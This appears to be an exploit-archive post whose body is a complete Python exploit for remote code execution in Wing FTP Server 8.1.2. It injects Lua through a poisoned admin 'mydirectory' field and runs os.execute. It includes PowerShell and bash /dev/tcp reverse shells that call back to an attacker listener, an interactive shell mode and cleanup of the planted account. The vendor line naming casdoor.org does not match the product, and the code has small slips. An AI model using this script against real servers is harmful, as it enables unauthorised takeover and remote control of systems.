📄 Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning

==================================================================================================================================
    | # Title     : Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning                                                |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  The exploit abuses a flaw in how Wing FTP Server handles admin session serialization, specifically the mydirectory (basefolder) field.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import json
    import os
    import sys
    import time
    import requests
    import urllib3
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPExploit:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False, timeout=30, verbose=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            
        def log(self, msg, level="INFO"):
            colors = {
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "INFO": "\033[96m[*]\033[0m",
                "PROC": "\033[94m[@]\033[0m"
            }
            print(f"{colors.get(level, '[*]')} {msg}")
        
        def login(self):
            """Authenticate to the admin panel"""
            self.log(f"Authenticating as {self.admin_user}...", "PROC")
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': self.admin_user,
                'password': self.admin_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                response = self.session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log("Authentication successful", "SUCCESS")
                            return True
                        elif result.get('code') in (1, 2):
                            self.log("2FA required - not supported", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        if 'logged in ok' in response.text or 'main.html' in response.text:
                            self.log("Authentication successful (legacy)", "SUCCESS")
                            return True
                
                self.log(f"Authentication failed: HTTP {response.status_code}", "ERROR")
                return False
                
            except Exception as e:
                self.log(f"Authentication error: {e}", "ERROR")
                return False
        
        def create_poisoned_basefolder(self, lua_payload):
            """Create poisoned basefolder value that injects Lua code"""
            return f"/tmp/x]]{lua_payload}--"
        
        def create_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Create a domain admin with poisoned basefolder"""
            self.log(f"Creating poisoned domain admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            if self.verbose:
                self.log(f"Poisoned basefolder: {poisoned_basefolder}", "INFO")
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            add_admin_url = urljoin(self.base_url, '/service_add_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    add_admin_url,
                    files={'admin': (None, admin_json)},
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Poisoned admin '{poison_user}' created", "SUCCESS")
                            return True
                        elif result.get('code') == -3:
                            self.log(f"Admin '{poison_user}' exists, modifying...", "INFO")
                            return self.modify_poisoned_admin(poison_user, poison_pass, lua_payload)
                        else:
                            self.log(f"Failed to create admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error creating admin: {e}", "ERROR")
                return False
        
        def modify_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Modify existing admin to inject poisoned basefolder"""
            self.log(f"Modifying existing admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            modify_admin_url = urljoin(self.base_url, '/service_modify_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    modify_admin_url,
                    files={
                        'admin': (None, admin_json),
                        'oldname': (None, poison_user)
                    },
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Admin '{poison_user}' modified successfully", "SUCCESS")
                            return True
                        else:
                            self.log(f"Failed to modify admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error modifying admin: {e}", "ERROR")
                return False
        
        def trigger_payload(self, poison_user, poison_pass):
            """Trigger the payload by logging in as poisoned admin"""
            self.log(f"Triggering payload as '{poison_user}'...", "PROC")
            
            trigger_session = requests.Session()
            trigger_session.verify = False
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': poison_user,
                'password': poison_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                login_resp = trigger_session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if login_resp.status_code == 200:
                    self.log("Login as poisoned admin successful", "SUCCESS")
                    trigger_url = urljoin(self.base_url, '/service_get_dir_list.html')
                    trigger_data = {'dir': ''}
                    headers['Referer'] = urljoin(self.base_url, '/main.html')
                    
                    trigger_resp = trigger_session.post(trigger_url, data=trigger_data, headers=headers, timeout=self.timeout)
                    
                    if trigger_resp.status_code == 200:
                        self.log("Payload triggered successfully!", "SUCCESS")
                        return True
                    else:
                        self.log(f"Trigger request returned HTTP {trigger_resp.status_code}", "WARNING")
                        return True 
                else:
                    self.log(f"Login failed: HTTP {login_resp.status_code}", "WARNING")
                    return False
                    
            except Exception as e:
                self.log(f"Trigger error: {e}", "ERROR")
                return False
        
        def generate_lua_payload(self, command):
            """Generate Lua payload for command execution"""
            escaped_cmd = command.replace("'", "\\\\'")
            return f"os.execute('{escaped_cmd}')"
        def generate_reverse_shell_lua(self, lhost, lport, platform='windows'):
            """Generate Lua payload for reverse shell"""
            if platform == 'windows':
                ps_cmd = f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
                return f"os.execute('powershell -Command \"{ps_cmd}\"')"
            else:
                bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
                return f"os.execute('{bash_cmd}')"
        
        def execute_command(self, command, poison_user, poison_pass, cleanup=True):
            """Execute a single command via the vulnerability"""
            self.log(f"Executing command: {command}")
            
            lua_payload = self.generate_lua_payload(command)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            time.sleep(2)
            
            if cleanup:
                self.cleanup_admin(poison_user)
            
            return True
        
        def deploy_reverse_shell(self, lhost, lport, platform='windows', poison_user='svc_backup', poison_pass='P@ssw0rd123!'):
            """Deploy reverse shell payload"""
            self.log(f"Deploying reverse shell to {lhost}:{lport}", "PROC")
            
            lua_payload = self.generate_reverse_shell_lua(lhost, lport, platform)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            
            self.log("Reverse shell payload sent! Check your listener.", "SUCCESS")
            return True
        
        def cleanup_admin(self, poison_user):
            """Attempt to clean up the poisoned admin"""
            self.log(f"Cleaning up admin: {poison_user}", "PROC")
            
            delete_url = urljoin(self.base_url, '/service_del_admin.html')
            data = {'username': poison_user}
            
            try:
                response = self.session.post(delete_url, data=data, timeout=self.timeout)
                if response.status_code == 200:
                    self.log(f"Admin '{poison_user}' cleaned up", "SUCCESS")
                    return True
            except Exception as e:
                self.log(f"Cleanup error: {e}", "WARNING")
            
            return False
        
        def run(self, command=None, lhost=None, lport=None, poison_user='svc_backup', 
                poison_pass='P@ssw0rd123!', cleanup=True, shell=False):
            """Main exploit routine"""
            
            self.log(f"Target: {self.base_url}")
            if not self.login():
                self.log("Failed to authenticate", "ERROR")
                return False
            if command:
                return self.execute_command(command, poison_user, poison_pass, cleanup)
            elif lhost and lport:
                platform = 'windows' if 'win' in str(target).lower() else 'linux'
                return self.deploy_reverse_shell(lhost, lport, platform, poison_user, poison_pass)
            elif shell:
                self.log("Interactive shell mode. Type 'exit' to quit.", "SUCCESS")
                print("\nCommands will be executed on the Wing FTP server.\n")
                
                while True:
                    try:
                        cmd = input("\033[92mwingftp>\033[0m ").strip()
                        if cmd.lower() in ['exit', 'quit']:
                            break
                        if cmd:
                            self.execute_command(cmd, poison_user, poison_pass, cleanup=False)
                            time.sleep(1)
                    except KeyboardInterrupt:
                        print("\nExiting...")
                        break
                
                if cleanup:
                    self.cleanup_admin(poison_user)
                
                return True
            else:
                self.log("No action specified", "ERROR")
                return False
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE",
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "whoami"
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --reverse-shell --lhost 10.0.0.5 --lport 4444
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "id" --poison-user custom --poison-pass custom123
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell --no-cleanup
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target host:port (e.g., 192.168.1.10:5466)")
        parser.add_argument("-u", "--admin-user", default="admin", help="Administrator username (default: admin)")
        parser.add_argument("-p", "--admin-pass", default="admin", help="Administrator password (default: admin)")
        parser.add_argument("-c", "--command", help="Command to execute")
        parser.add_argument("--reverse-shell", action="store_true", help="Deploy reverse shell")
        parser.add_argument("--lhost", help="Listener host for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
        parser.add_argument("--poison-user", default="svc_backup", help="Poisoned admin username (default: svc_backup)")
        parser.add_argument("--poison-pass", default="P@ssw0rd123!", help="Poisoned admin password (default: P@ssw0rd123!)")
        parser.add_argument("--no-cleanup", action="store_true", help="Don't clean up poisoned admin after exploitation")
        parser.add_argument("--ssl", action="store_true", help="Use SSL for connection")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        parser.add_argument("--timeout", type=int, default=30, help="Request timeout (seconds)")
        
        args = parser.parse_args()
        
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE       ║
    ║  Remote Code Execution via Session Poisoning                    ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
        exploit = WingFTPExploit(
            target=args.target,
            admin_user=args.admin_user,
            admin_pass=args.admin_pass,
            use_ssl=args.ssl,
            timeout=args.timeout,
            verbose=args.verbose
        )
        
        cleanup = not args.no_cleanup
        
        if args.reverse_shell:
            if not args.lhost or not args.lport:
                print("[-] --reverse-shell requires --lhost and --lport")
                sys.exit(1)
            success = exploit.run(
                lhost=args.lhost,
                lport=args.lport,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.shell:
            success = exploit.run(
                shell=True,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.command:
            success = exploit.run(
                command=args.command,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        else:
            parser.print_help()
            sys.exit(1)
        sys.exit(0 if success else 1)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================